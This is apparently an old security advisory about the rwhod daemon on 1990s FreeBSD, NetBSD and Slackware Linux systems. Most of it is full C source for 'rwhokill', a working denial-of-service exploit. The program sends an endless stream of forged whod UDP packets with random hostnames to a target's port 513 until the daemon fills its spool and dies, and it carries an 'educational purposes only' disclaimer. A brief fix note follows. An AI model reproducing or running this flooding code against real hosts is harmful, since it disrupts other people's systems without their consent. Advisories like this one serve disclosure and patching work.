COMMAND

    rwhod

SYSTEMS AFFECTED

    FreeBSD 2.2.5-Stable, NetBSD 1.2, Linux Slackware

PROBLEM

    rwhod uses UDP packtes to pick up whos on a network, and creates a
    spool file based upon the packets received.  You could create  mad
    spool files...   Credit goes to  sygma.  Exploit  that will simply
    kill rwhod follows:

    /*
     *  filename:  rwhokill.c
     *  author:    sygma @undernet
     *  fix:       Don't run rwhod :)
     *  notes:     I won't be held reponsible for the missuse most people do
     *             with this stuff.  It's for educational purposes only!
     *  tested on: Linux [slackware]
     *             FreeBSD 2.2.5-Stable  FreeBSD 2.2.6-BETA [aparently patched]
     *             NetBSD 1.2
     *
     */
    #include <stdio.h>
    #include <stdlib.h>
    #include <errno.h>
    #include <string.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <sys/socket.h>
    #include <sys/wait.h>

    #define MYPORT 513

    int i;

    //ripped out of headers from a real os

    struct  outmp {
	    char    out_line[8];            /* tty name */
	    char    out_name[8];            /* user id */
	    long    out_time;               /* time on */
    };

    struct  whod {
	    char    wd_vers;                /* protocol version # */
	    char    wd_type;                /* packet type, see below */
	    char    wd_pad[2];
	    int     wd_sendtime;            /* time stamp by sender */
	    int     wd_recvtime;            /* time stamp applied by receiver */
	    char    wd_hostname[32];        /* hosts's name */
	    int     wd_loadav[3];           /* load average as in uptime */
	    int     wd_boottime;            /* time system booted */
	    struct  whoent {
		    struct  outmp we_utmp;  /* active tty info */
		    int     we_idle;        /* tty idle time */
	    } wd_we[1024 / sizeof (struct whoent)];
    };


    int main(int argc, char *argv[])
    {
	    int sockfd;
	    struct sockaddr_in their_addr; /* connector's address information */
	    struct sockaddr_in ours;
	    struct hostent *he;
	    int numbytes;
	    struct whod evil;

	    if (argc != 2) {
		fprintf(stderr,"usage: rwhokill hostname\n");
		exit(1);
	    }

	    if ((he=gethostbyname(argv[1])) == NULL) {  /* get the host info */
		herror("gethostbyname");
		exit(1);
	    }

	    if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
		perror("socket");
		exit(1);
	    }

	    their_addr.sin_family = AF_INET;      /* host byte order */
	    their_addr.sin_port = htons(MYPORT);  /* short, network byte order */
	    their_addr.sin_addr = *((struct in_addr *)he->h_addr);
	    bzero(&(their_addr.sin_zero), 8);     /* zero the rest of the struct */

	    bzero(&ours,sizeof(struct sockaddr));
	    ours.sin_family = AF_INET;      /* host byte order */
	    ours.sin_port = htons(MYPORT);  /* short, network byte order */
	    bzero(&(ours.sin_zero), 8);     /* zero the rest of the struct */

	    bind(sockfd,(struct sockaddr *)&ours,sizeof(struct sockaddr));

	    i=0;

	    bzero(&evil,sizeof(struct whod));

	    evil.wd_vers=1;
	    evil.wd_type=1;

	    while(1)
	    {
		    for (i=0;i<32;i++)
		    {
			    evil.wd_hostname[i]=(random()%26)+'A';
		    }

		    if ((numbytes=sendto(sockfd, &evil, sizeof(struct whod), 0, \
		    (struct sockaddr *)&their_addr, sizeof(struct sockaddr))) == -1)
		    {
			    perror("recvfrom");
			    exit(1);
		    }

		    i++;
		    if (i==1000) {printf(".");i=0;}
		    // fuck usleep(100);
	    }
	    close(sockfd);

	    return 0;
    }

SOLUTION

    FreeBSD 2.2.6 should fix this.  I don't know how NetBSD 1.3 stands
    with this.   Newer versions  that came  with Linux  will also  fix
    this.